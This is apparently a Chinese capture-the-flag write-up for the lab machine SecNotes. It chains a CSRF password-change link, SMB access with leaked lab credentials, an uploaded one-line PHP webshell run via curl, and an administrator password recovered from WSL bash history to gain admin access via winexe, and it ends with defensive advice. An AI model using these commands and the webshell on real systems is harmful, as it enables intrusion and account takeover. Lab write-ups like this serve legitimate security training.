[Meachines] [Medium] SecNotes XSRF跨站请求伪造+SMB-Webshell上传+Linux子系统命令历史记录泄露权限提升
字数 1403 2025-08-19 12:41:20
SecNotes靶机渗透测试详细教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.97 --min-rate 1000 -sC -sV
发现开放端口:
- 80/tcp: Microsoft IIS httpd 10.0 (运行Secure Notes - Login)
- 445/tcp: Microsoft-DS (Windows 10 Enterprise 17134)
- 8808/tcp: Microsoft IIS httpd 10.0
1.2 Web服务分析
80端口Web应用分析:
- 发现登录页面:
/login.php - 发现注册页面:
/register.php - 发现联系页面:
/contact.php - 检测到潜在风险方法:TRACE
8808端口Web应用分析:
- 另一个IIS实例
- 检测到潜在风险方法:TRACE
2. 漏洞利用阶段
2.1 XSRF(跨站请求伪造)漏洞利用
-
创建用户:
访问http://10.10.10.97/register.php注册新用户 -
登录系统:
使用注册的凭据登录 -
发现XSRF漏洞:
- 联系页面(
/contact.php)会提交URL后自动访问该链接 - 修改密码页面(
/change_pass.php)存在漏洞:- 可通过GET请求修改密码
- 不需要提供原始密码
- 联系页面(
-
构造XSRF攻击:
http://10.10.10.97/change_pass.php?password=test123&confirm_password=test123&submit=submit将此链接通过联系页面提交,使tyler@secnotes.htb账户访问
2.2 SMB Webshell上传
-
发现SMB凭证:
- 用户名:tyler
- 密码:92g!mA8BGjOirkL%OG*&
- 共享路径:\secnotes.htb\new-site
-
验证SMB访问:
smbmap -H 10.10.10.97 -u tyler -p '92g!mA8BGjOirkL%OG*&' smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' //10.10.10.97/new-site -
上传Webshell:
- 创建PHP webshell:
<?php system($_GET[1]); ?> - 上传webshell:
put /tmp/shell.php shell.php
- 创建PHP webshell:
-
执行命令:
curl 'http://10.10.10.97:8808/shell.php?1=whoami'确认webshell工作正常
-
获取user flag:
curl 'http://10.10.10.97:8808/shell.php?1=type C:\Users\tyler\Desktop\user.txt'得到:c820c9c749a18ad20cd753302bcde81d
3. 权限提升阶段
3.1 发现Linux子系统
-
检查bash.lnk:
type C:\Users\tyler\Desktop\bash.lnk -
查找bash.exe:
Get-ChildItem -Recurse -Path C:\ -Filter "bash.exe" -
访问Linux子系统:
cd C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root
3.2 分析历史记录
- 检查.bash_history:
发现管理员密码:u6!4ZwgwOM#^OBf#Nwnhtype .bash_history
3.3 获取管理员权限
-
使用winexe获取系统权限:
winexe -U '.\administrator%u6!4ZwgwOM#^OBf#Nwnh' //10.10.10.97 cmd.exe -
获取root flag:
type C:\Users\Administrator\Desktop\root.txt得到:da93ba016133741828c0cd57abb916ad
4. 关键点总结
-
XSRF漏洞利用:
- 修改密码功能未验证请求来源
- 通过联系页面的自动访问功能触发
-
SMB凭证泄露:
- 通过某种方式获取了tyler账户的SMB凭证
- 利用SMB上传webshell实现远程代码执行
-
Linux子系统信息泄露:
- Windows上的Linux子系统(WSL)保留了bash历史记录
- 历史记录中意外包含了管理员密码
-
权限提升路径:
- 普通用户 → 通过WSL历史记录获取管理员凭证 → 系统管理员
5. 防御建议
-
防止XSRF:
- 关键操作使用POST请求
- 添加CSRF token验证
- 检查Referer头
-
SMB安全:
- 限制SMB共享的访问权限
- 使用强密码策略
- 定期审计共享内容
-
WSL安全:
- 清理敏感命令历史
- 限制普通用户访问WSL目录
- 禁用不必要的子系统功能
-
密码管理:
- 避免在命令行中输入明文密码
- 使用密码管理器
- 实施多因素认证